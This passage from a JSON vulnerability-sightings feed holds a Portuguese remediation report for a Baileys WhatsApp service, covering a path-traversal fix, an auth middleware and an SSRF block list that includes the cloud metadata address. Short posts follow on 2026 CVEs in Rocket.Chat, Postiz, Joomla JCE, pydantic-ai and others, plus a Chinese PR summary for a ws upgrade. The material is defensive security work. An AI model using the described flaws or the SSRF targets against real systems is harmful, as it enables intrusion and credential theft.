vulner\u00e1vel a ataques de inje\u00e7\u00e3o de pacotes e corrup\u00e7\u00e3o de estado.\n\n---\n\n## 3. Proposta de Solu\u00e7\u00e3o e Plano de A\u00e7\u00e3o\n\nRecomendamos a aplica\u00e7\u00e3o das seguintes corre\u00e7\u00f5es em uma branch dedicada do reposit\u00f3rio `zydon-plugin-whatsapp-web-instances`.\n\n### 3.1 Atualiza\u00e7\u00e3o da Biblioteca Baileys (CVE-2026-48063)\nAjustar o `package.json` para utilizar a vers\u00e3o patched est\u00e1vel ou uma vers\u00e3o RC livre da vulnerabilidade (m\u00ednimo `7.0.0-rc12`). Sugere-se:\n```json\n\"@whiskeysockets/baileys\": \"^7.0.0-rc12\"\n```\nE em seguida, no terminal da pasta do projeto, executar a regenera\u00e7\u00e3o do lockfile:\n```bash\nnpm install\nnpm audit fix\n```\n\n### 3.2 Corre\u00e7\u00e3o do Path Traversal em `/files/:fileId`\nPara mitigar a vulnerabilidade de leitura arbitr\u00e1ria de arquivos, devemos aplicar uma valida\u00e7\u00e3o estrita no `fileId` recebido e delegar a prote\u00e7\u00e3o de travessia ao Express configurando o par\u00e2metro `root` no `res.sendFile`.\n\nSugest\u00e3o de altera\u00e7\u00e3o para `src/server.js:175-190`:\n```javascript\napp.get('/files/:fileId', (req, res) => {\n  const { fileId } = req.params;\n\n  // 1. Valida\u00e7\u00e3o estrita do padr\u00e3o de nome de arquivo (UUIDv4 opcionalmente seguido de uma extens\u00e3o segura)\n  const fileIdPattern = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}(\\.[a-z0-9]+)?$/i;\n  if (!fileIdPattern.test(fileId)) {\n    return handleErrorResponse(res, 400, 'ID de arquivo inv\u00e1lido ou malformado');\n  }\n\n  // 2. Uso seguro do res.sendFile limitando o escopo ao diret\u00f3rio TEMP_DIR\n  res.sendFile(fileId, { root: TEMP_DIR }, (err) => {\n    if (err) {\n      if (err.code === 'ENOENT') {\n        return handleErrorResponse(res, 404, 'Arquivo n\u00e3o encontrado');\n      }\n      handleErrorResponse(res, 500, 'Erro ao enviar o arquivo', err);\n    }\n  });\n});\n```\n\n*(Adicionalmente, recomenda-se validar que o par\u00e2metro `:id` recebido nas rotas `/sessions/:id` obede\u00e7a a uma express\u00e3o regular padr\u00e3o de UUIDv4 antes de concatenar caminhos de sess\u00e3o).*\n\n### 3.3 Implementa\u00e7\u00e3o de Middleware de Autentica\u00e7\u00e3o (Zero Auth)\nDefinir um token compartilhado (Shared Secret) lido atrav\u00e9s da vari\u00e1vel de ambiente `SERVICE_API_KEY`. \n\n#### 1. Criar o Middleware de Autentica\u00e7\u00e3o em `src/auth.js`:\n```javascript\nimport crypto from 'crypto';\n\nexport function authMiddleware(req, res, next) {\n  const apiKey = process.env.SERVICE_API_KEY;\n\n  if (!apiKey) {\n    console.error('\u274c ERRO DE CONFIGURA\u00c7\u00c3O: SERVICE_API_KEY n\u00e3o est\u00e1 definida nas vari\u00e1veis de ambiente!');\n    return res.status(500).json({ error: 'Erro interno de configura\u00e7\u00e3o do servidor.' });\n  }\n\n  const authHeader = req.headers['authorization'];\n  if (!authHeader || !authHeader.startsWith('Bearer ')) {\n    return res.status(401).json({ error: 'Acesso negado. Token n\u00e3o fornecido ou inv\u00e1lido.' });\n  }\n\n  const token = authHeader.substring(7);\n\n  try {\n    // Uso de timingSafeEqual para evitar ataques de temporiza\u00e7\u00e3o (Timing Attacks)\n    const bufKey = Buffer.from(apiKey);\n    const bufToken = Buffer.from(token);\n\n    if (bufKey.length !== bufToken.length || !crypto.timingSafeEqual(bufKey, bufToken)) {\n      return res.status(403).json({ error: 'Acesso negado. Token incorreto.' });\n    }\n  } catch (err) {\n    return res.status(403).json({ error: 'Falha na valida\u00e7\u00e3o do token.' });\n  }\n\n  next();\n}\n```\n\n#### 2. Registrar o Middleware no `src/server.js`:\n```javascript\nimport { authMiddleware } from './auth.js';\n\n// ... defini\u00e7\u00e3o do app ...\n\n// Rotas p\u00fablicas (apenas sa\u00fade da aplica\u00e7\u00e3o)\napp.get('/health', (req, res) => res.json({ status: 'healthy' }));\n\n// Aplica\u00e7\u00e3o global do middleware para todas as rotas abaixo\napp.use(authMiddleware);\n\n// Rotas restritas e protegidas\napp.post('/sessions', async (req, res) => { ... });\napp.get('/sessions', (req, res) => { ... });\n// ... demais rotas ...\n```\n\n*Nota:* \u00c9 crucial coordenar essa altera\u00e7\u00e3o com o microsservi\u00e7o Java `zydon-plugin-whatsapp-web-api` (que consome essa API via Feign Client) para que ele injete o header `Authorization: Bearer ` em todas as requisi\u00e7\u00f5es enviadas ao painel Baileys.\n\n---\n\n## 4. Observa\u00e7\u00f5es e Recomenda\u00e7\u00f5es Adicionais\n\n1.  **Monitoramento de Conex\u00f5es de Entrada (SSRF):** No arquivo `src/sessions.js`, ao baixar m\u00eddias usando `sendFileFromUrl`, o servi\u00e7o faz requisi\u00e7\u00f5es diretas a URLs informadas pelo cliente. Recomenda-se implementar uma valida\u00e7\u00e3o nas URLs enviadas para bloquear conex\u00f5es direcionadas a endere\u00e7os locais/internos (ex: `127.0.0.1`, `localhost`, `169.254.169.254` e IPs da rede privada).\n2.  **Seguran\u00e7a de Rede:** O servi\u00e7o Baileys deve ser configurado para escutar estritamente em uma porta privada dentro de um cluster Docker/K8s fechado (por exemplo, acess\u00edvel somente pelo gateway da aplica\u00e7\u00e3o ou pelo backend Java), evitando qualquer exposi\u00e7\u00e3o direta a IPs p\u00fablicos (mesmo que autenticado).\n3.  **Configura\u00e7\u00e3o de Auditoria Regular:** Ativar relat\u00f3rios automatizados de vulnerabilidade (Dependabot/Snyk) no reposit\u00f3rio para evitar que depend\u00eancias cr\u00edticas permane\u00e7am em vers\u00f5es vulner\u00e1veis por longos per\u00edodos.\n", "creation_timestamp": "2026-06-16T14:09:03.000000Z"}, {"uuid": "5b3342c5-f653-4378-a9fc-c3eea81a9086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mofz4czfrc24", "content": "Critical SimpleHelp vulnerability (CVE-2026-48558) exposes thousands of servers to unauthorized access. Immediate action required. #SimpleHelp #CVE202648558 #AuthenticationBypass #CyberSecurity thedailytechfeed.com/critical-vul...", "creation_timestamp": "2026-06-16T14:29:17.826870Z"}, {"uuid": "7f203008-56b1-4347-b394-8fa9bff01a25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48780", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mog67gafbm25", "content": "\ud83d\udfe0 CVE-2026-48780 - High (8.2)\n\nForem is open source software for building communities. Prior to commit a2ab6d4, a maliciously cr...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48780/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-16T16:00:31.108978Z"}, {"uuid": "fdd1d262-93fa-42a8-8636-2f331ef335b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/attrition.org/post/3mog7m2jsis2z", "content": "@f5labs.bsky.social re: www.f5.com/labs/article...  Are you using \"AI\" to do these? e.g. \"Threat Details and IOCs\" and \"CVE-2026-35273, CVE-2026-46695, CVE-2026-46703, CVE-2026-48558, CVE-2026-50545\" has nothing to do with the section above, and those CVEs are largely not for the software listed.", "creation_timestamp": "2026-06-16T16:25:31.463878Z"}, {"uuid": "ff9483d0-835b-49b5-947c-f717c04c4765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48780", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogf2rqlzg2c", "content": "CVE-2026-48780 - Forem vulnerable to bypass of email address domain restrictions\nCVE ID : CVE-2026-48780\n \n Published : June 16, 2026, 3:16 p.m. | 1\u00a0hour, 52\u00a0minutes ago\n \n Description : Forem is open source software for building communities. Prior to commit a2ab6d4, a malicio...", "creation_timestamp": "2026-06-16T18:03:10.686368Z"}, {"uuid": "91f1fe1b-ed0d-4772-81d5-1ea210ffd3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48519", "type": "published-proof-of-concept", "source": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f", "content": "", "creation_timestamp": "2026-05-27T15:10:13.000000Z"}, {"uuid": "e1ada4c7-b083-447a-b53c-efd5a5ba9682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mogkt2xx362u", "content": "\ud83d\uded1 CVE-2026-48907\nWidget Factory Joomla Content Editor\nCVSS 10.0 / EPSS 1% / KEV \u2705\nTL;DR: A vulnerability in the JCE editor extension for Joomla allows the creat\u2026\nhttps://cvesentinel.com/report/CVE-2026-48907?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-16T19:46:14.387856Z"}, {"uuid": "f99098c7-a2d3-4114-be78-1866ace92fb9", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b71394c1-e100-4ea5-9f11-216c0892d268", "content": "", "creation_timestamp": "2026-06-16T20:00:01.385475Z"}, {"uuid": "afa55695-155c-4084-adc0-4da9eeb81c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48491", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66", "content": "", "creation_timestamp": "2026-06-05T10:26:32.000000Z"}, {"uuid": "29e14271-14a8-4754-9fc4-a196849370e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mogoxjqp6j2k", "content": "\ud83d\udea8 CISA Adds One Known Exploited Vulnerability to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0616)\n\n\u26a0\ufe0f CVE-2026-48907 - Widget Factory Joomla Content Editor Improper Access Control Vulnerability\n\n\n#ZEN #SecDB #InfoSec #CISA_KEV", "creation_timestamp": "2026-06-16T21:00:18.882316Z"}, {"uuid": "39380ac8-2096-4e37-a804-30c5a0ec8ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48777", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogqshhr2u2f", "content": "CVE-2026-48777 - FileBrowser Quantum: Path Traversal in public share PATCH allows file ops outside shared directory\nCVE ID : CVE-2026-48777\n \n Published : June 16, 2026, 8:16 p.m. | 52\u00a0minutes ago\n \n Description : FileBrowser Quantum is a free, self-hosted, web-based file mana...", "creation_timestamp": "2026-06-16T21:33:16.270572Z"}, {"uuid": "91a3af1a-0abe-456f-a2cb-e4fcff106a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48165", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mogqzcvdi22e", "content": "\ud83d\udccc CVE-2026-48165 - MariaDB server is a community developed fork of MySQL server. From versions 10.6.1 to before 10.6.27, 10.11.1 to before 10.11.18, 11.4.1 to before 11.... https://www.cyberhub.blog/cves/CVE-2026-48165", "creation_timestamp": "2026-06-16T21:37:06.723298Z"}, {"uuid": "5d43102d-a998-4033-9157-d1a23b844565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48163", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mogsoyvex32z", "content": "\ud83d\udccc CVE-2026-48163 - MariaDB server is a community developed fork of MySQL server. From versions 10.6.1 to before 10.6.27, 10.11.1 to before 10.11.18, 11.4.1 to before 11.... https://www.cyberhub.blog/cves/CVE-2026-48163", "creation_timestamp": "2026-06-16T22:07:08.541942Z"}, {"uuid": "c6cd606e-5c3d-4dd9-bd18-217030d015ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mogtziit522t", "content": "\ud83d\udea8 CRITICAL ALERT: CVE-2026-48027\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nNx Console is the user interface for Nx & Lerna. On 19 May 2026, a malicious version of Nx Console, 18.95.0, was published at 12:30 PM UTC and removed soon after at 12:48 PM UTC, leaving it available for ~18 minutes in Visual Studio Market", "creation_timestamp": "2026-06-16T22:30:53.561138Z"}, {"uuid": "38fa3e06-7edd-427c-a026-4db2c573c100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48788", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogyvk4rbf2f", "content": "CVE-2026-48788 - Remark42: Cross-Site Scripting (XSS) on /api/v1/img via content-type spoofing\nCVE ID : CVE-2026-48788\n \n Published : June 16, 2026, 10:29 p.m. | 1\u00a0hour, 3\u00a0minutes ago\n \n Description : Remark42 is a self-hosted comment engine for blogs, articles, or any other p...", "creation_timestamp": "2026-06-16T23:58:10.425749Z"}, {"uuid": "9dbcccec-3496-4ded-97b8-2f3037a4b327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48797", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mogyzyan552s", "content": "CRITICAL vuln: mcp-tool-shop-org backpropagate <1.2.0 exposes Reflex UI with no real auth \u2014 attackers can control training & access data. Upgrade to 1.2.0 now! https://radar.offseq.com/threat/cve-2026-48797-cwe-358-improperly-implemented-secu-63bfdfdd #OffSeq #Python #Security", "creation_timestamp": "2026-06-17T00:00:39.164771Z"}, {"uuid": "bee121c0-7248-4192-a00f-940cd52ef817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48781", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogz6imvsz26", "content": "CVE-2026-48781 - Postiz has cross-tenant SUPERADMIN takeover via Skool-provider JWT forgery\nCVE ID : CVE-2026-48781\n \n Published : June 16, 2026, 9:31 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : Postiz is an AI social media scheduling tool. In versions prior to 2.21.8, the S...", "creation_timestamp": "2026-06-17T00:03:10.891073Z"}, {"uuid": "3bf77cd7-c2f4-4892-8ab8-6aa057fdeeb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48745", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogzacajbs2j", "content": "CVE-2026-48745 - Traccar Client: silent configuration hijack via unverified deep link redirects all GPS telemetry\nCVE ID : CVE-2026-48745\n \n Published : June 16, 2026, 10:19 p.m. | 1\u00a0hour, 13\u00a0minutes ago\n \n Description : Traccar Client is a GPS tracking mobile app for sending ...", "creation_timestamp": "2026-06-17T00:04:10.434652Z"}, {"uuid": "134ba4ac-1f9e-4f23-8fd0-78e072d97bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48929", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogzdc4ksd2g", "content": "CVE-2026-48929 - Rocket.Chat Unauthenticated File Deletion\nCVE ID : CVE-2026-48929\n \n Published : June 16, 2026, 11:08 p.m. | 24\u00a0minutes ago\n \n Description : Rocket.Chat in versions <8.5.1, <8.4.4, <8.3.6, <8.2.6, <8.1.6, <8.0.7, <7.13.9, and <7.10.13 i...", "creation_timestamp": "2026-06-17T00:05:51.032363Z"}, {"uuid": "22a4d6a3-af49-4b5d-a42a-ee11e2db122d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48779", "type": "seen", "source": "https://gist.github.com/djlan/becffd7152d874641e42038b1b748f54", "content": "# PR \u89e3\u91ca: [SECURITY] bump ws from 6.2.3 to 6.2.4\n\nDependabot \u9488\u5bf9 CVE-2026-48779 \u9ad8\u5371\u5b89\u5168\u6f0f\u6d1e\uff0c\u5c06 WebSocket \u5e93 `ws` \u4ece 6.2.3 \u5347\u7ea7\u81f3 6.2.4\uff0c\u4fee\u590d\u4e86\u6d88\u606f\u5206\u7247\u5185\u5b58\u672a\u9650\u5236\u7684\u5b89\u5168\u95ee\u9898\u3002\n\n**PR \u94fe\u63a5**: https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2155412\n**\u4f5c\u8005**: Dependabot\n**\u72b6\u6001**: active\n**\u5206\u652f**: `dependabot/npm_and_yarn/ws-6.2.4-3632050` \u2192 `main`\n**\u53d8\u66f4\u7edf\u8ba1**: 4 files changed\n\n## \u76ee\u5f55\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n\n---\n\n## \u53d8\u66f4\u6982\u89c8\n\n### 1. \u4f9d\u8d56\u7248\u672c\u58f0\u660e\u66f4\u65b0\n\n**\u76ee\u7684**: \u5c06 `ws` \u5305\u7684\u6700\u4f4e\u7248\u672c\u8981\u6c42\u4ece 6.2.3 \u63d0\u5347\u81f3 6.2.4\uff0c\u4ee5\u4fee\u590d CVE-2026-48779 \u9ad8\u5371\u5b89\u5168\u6f0f\u6d1e\uff08\u6d88\u606f\u5206\u7247\u4fdd\u7559\u672a\u505a\u9650\u5236\uff0c\u53ef\u5bfc\u81f4\u5185\u5b58\u8017\u5c3d\u653b\u51fb\uff09\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [extensions/common/package.json](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2155412?path=/extensions/common/package.json&_a=files) \u2014 common \u6269\u5c55\u7684 ws \u4f9d\u8d56\u7248\u672c\u58f0\u660e\n- [extensions/remote/package.json](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2155412?path=/extensions/remote/package.json&_a=files) \u2014 remote \u6269\u5c55\u7684 ws \u4f9d\u8d56\u7248\u672c\u58f0\u660e\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **ws \u7248\u672c\u7ea6\u675f\u5347\u7ea7**: \u4e24\u4e2a package.json \u4e2d `\"ws\": \"^6.2.3\"` \u66f4\u65b0\u4e3a `\"ws\": \"^6.2.4\"`\uff0c\u786e\u4fdd\u5b89\u88c5\u65f6\u4e0d\u4f1a\u89e3\u6790\u5230\u542b\u6f0f\u6d1e\u7684\u65e7\u7248\u672c\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n### 2. \u9501\u6587\u4ef6\u66f4\u65b0\uff08pnpm-lock.yaml\uff09\n\n**\u76ee\u7684**: \u9501\u5b9a\u5b9e\u9645\u5b89\u88c5\u7684 ws \u7248\u672c\u4e3a 6.2.4\uff0c\u540c\u65f6\u66f4\u65b0\u56e0\u4f9d\u8d56\u6811\u53d8\u5316\u800c\u53d7\u5f71\u54cd\u7684\u95f4\u63a5\u4f9d\u8d56\u89e3\u6790\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [pnpm-lock.yaml](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2155412?path=/pnpm-lock.yaml&_a=files) \u2014 \u5168\u4ed3\u5e93\u4f9d\u8d56\u9501\u6587\u4ef6\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **ws \u76f4\u63a5\u4f9d\u8d56\u9501\u5b9a**: `ws@6.2.3` \u2192 `ws@6.2.4`\uff0c\u5305\u542b\u5b89\u5168\u4fee\u590d\u8865\u4e01\uff08\u9650\u5236\u4fdd\u7559\u7684\u6d88\u606f\u5206\u7247\u6570\u91cf\uff09\u3002\n2. **ws \u95f4\u63a5\u5347\u7ea7**: `ws@8.18.3` \u2192 `ws@8.21.0`\uff0c\u88ab `@jupyterlab/services` \u548c `jsdom` \u7b49\u5305\u95f4\u63a5\u5f15\u7528\u3002\n3. **isomorphic-ws \u7ed1\u5b9a\u66f4\u65b0**: `isomorphic-ws@5.0.0(ws@6.2.3)` \u2192 `isomorphic-ws@5.0.0(ws@6.2.4)`\uff0c\u786e\u4fdd WebSocket \u9002\u914d\u5c42\u4f7f\u7528\u4fee\u590d\u540e\u7684\u7248\u672c\u3002\n4. **Babel \u76f8\u5173\u95f4\u63a5\u4f9d\u8d56\u5237\u65b0**: `@babel/code-frame`\u3001`@babel/helper-validator-identifier`\u3001`@babel/runtime` \u65b0\u589e 7.29.7 \u7248\u672c\u89e3\u6790\u6761\u76ee\uff0c\u5c5e\u4e8e `@testing-library/dom` \u4f9d\u8d56\u6811\u7684\u6b63\u5e38\u66f4\u65b0\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n## \u5f71\u54cd\u5206\u6790\n\n- **\u5f71\u54cd\u8303\u56f4**: \u6240\u6709\u4f7f\u7528 WebSocket \u901a\u4fe1\u7684\u6a21\u5757\uff08common \u548c remote \u6269\u5c55\uff09\uff0c\u4ee5\u53ca\u901a\u8fc7 jsdom/jupyterlab \u95f4\u63a5\u4f7f\u7528 ws \u7684\u6d4b\u8bd5\u548c Notebook \u529f\u80fd\u3002\n- **\u7528\u6237\u611f\u77e5**: \u7528\u6237\u65e0\u611f\u77e5\u53d8\u5316\u3002\u6b64\u4e3a\u5b89\u5168\u8865\u4e01\u5347\u7ea7\uff0c\u4e0d\u5f71\u54cd\u529f\u80fd\u884c\u4e3a\uff0c\u4ec5\u4fee\u590d\u6f5c\u5728\u7684\u62d2\u7edd\u670d\u52a1\uff08DoS\uff09\u653b\u51fb\u5411\u91cf\u3002\n- **\u98ce\u9669\u70b9**:\n  1. **ws 8.x \u8de8\u5927\u7248\u672c\u8df3\u8dc3**: `ws@8.18.3` \u2192 `ws@8.21.0` \u8df3\u8dc3\u4e86\u591a\u4e2a\u6b21\u7248\u672c\uff0c\u867d\u7136 semver \u4fdd\u8bc1\u5411\u540e\u517c\u5bb9\uff0c\u4f46 `@jupyterlab/services` \u548c `jsdom` \u7684 WebSocket \u884c\u4e3a\u53ef\u80fd\u5b58\u5728\u7ec6\u5fae\u5dee\u5f02\uff0c\u5efa\u8bae\u8fd0\u884c\u96c6\u6210\u6d4b\u8bd5\u9a8c\u8bc1 Notebook \u8fde\u63a5\u548c DOM \u6a21\u62df\u573a\u666f\u3002\n  2. **Babel \u95f4\u63a5\u4f9d\u8d56\u53d8\u52a8**: \u65b0\u589e\u4e86 `@babel/code-frame@7.29.7` \u7b49\u6761\u76ee\uff0c\u5c5e\u4e8e lockfile \u89e3\u6790\u7684\u6b63\u5e38\u53d8\u52a8\uff0c\u98ce\u9669\u6781\u4f4e\uff0c\u4f46\u82e5\u6784\u5efa\u8fc7\u7a0b\u5bf9 Babel \u7248\u672c\u6709\u4e25\u683c\u7ea6\u675f\u9700\u7559\u610f\u3002\n  3. **\u8865\u4e01\u4ec5\u4e3a backport**: ws 6.2.4 \u662f\u5c06\u4e3b\u7ebf\u4fee\u590d\u56de\u79fb\u81f3 6.x \u5206\u652f\uff0c\u957f\u671f\u6765\u770b 6.x \u5df2\u63a5\u8fd1 EOL\uff0c\u5efa\u8bae\u540e\u7eed\u89c4\u5212\u5347\u7ea7\u5230 ws 8.x \u4e3b\u7ebf\u7248\u672c\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n", "creation_timestamp": "2026-06-17T00:09:20.000000Z"}, {"uuid": "4178373b-50ab-499b-a7ab-c75d5428c7af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48783", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogznfyenc2x", "content": "CVE-2026-48783 - Postiz has an unauthenticated billing-enforcement bypass via /public/modify-subscription\nCVE ID : CVE-2026-48783\n \n Published : June 16, 2026, 9:38 p.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : Postiz is an AI social media scheduling tool. Versions prior to 2...", "creation_timestamp": "2026-06-17T00:11:30.602099Z"}, {"uuid": "65758512-5597-40b3-a6c2-972e90d6ac14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48055", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogzrb36ja2x", "content": "CVE-2026-48055 - Streambert: Arbitrary File Write (Zip Slip) via Subtitle Extraction\nCVE ID : CVE-2026-48055\n \n Published : June 16, 2026, 9:17 p.m. | 2\u00a0hours, 14\u00a0minutes ago\n \n Description : Streambert is a cross-platform Electron Desktop App to stream and download any video ...", "creation_timestamp": "2026-06-17T00:13:45.853185Z"}, {"uuid": "293dcc04-fd0a-4aaf-9d55-678d1a8a8cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48782", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mogzzvej3z22", "content": "CVE-2026-48782 - pydantic-ai: SSRF blocklist bypass via IPv4-compatible, SIIT/IVI, and local NAT64 IPv6 addresses (incomplete fix of CVE-2026-46678)\nCVE ID : CVE-2026-48782\n \n Published : June 16, 2026, 10:49 p.m. | 43\u00a0minutes ago\n \n Description : Pydantic AI is a Python agent...", "creation_timestamp": "2026-06-17T00:18:29.322657Z"}, {"uuid": "cdb45630-0dbd-4458-9ae7-68760b693950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48616", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moh3tgoovh22", "content": "CVE-2026-48616 - Rocket.Chat Livechat File Access Control Bypass\nCVE ID : CVE-2026-48616\n \n Published : June 16, 2026, 11:08 p.m. | 24\u00a0minutes ago\n \n Description : Rocket.Chat versions <8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9, 7.10.13 has an access control vulnerab...", "creation_timestamp": "2026-06-17T00:50:40.195195Z"}, {"uuid": "98b5e9cb-20e2-4dcc-ac9b-57df21ad05cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48779", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moh44f7g7h2h", "content": "CVE-2026-48779 - ws: Memory exhaustion DoS from tiny fragments and data chunks\nCVE ID : CVE-2026-48779\n \n Published : June 16, 2026, 9:26 p.m. | 2\u00a0hours, 6\u00a0minutes ago\n \n Description : ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to ...", "creation_timestamp": "2026-06-17T00:55:40.769044Z"}, {"uuid": "4187da55-331b-4f76-954f-dad1dbb72cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48745", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moh62q4wkd2f", "content": "CRITICAL: traccar-client <=9.7.19 lets attackers silently redirect GPS data via deep links \u2014 no user alert, persists after restart. Upgrade to 9.7.20 ASAP! \ud83d\udef0\ufe0f https://radar.offseq.com/threat/cve-2026-48745-cwe-940-improper-verification-of-so-6b0c4b37 #OffSeq #MobileSecurity #Vulnerability", "creation_timestamp": "2026-06-17T01:30:33.328740Z"}, {"uuid": "82909ec6-4bb8-4de5-bcae-aec50a10efdd", "vulnerability_lookup_origin": 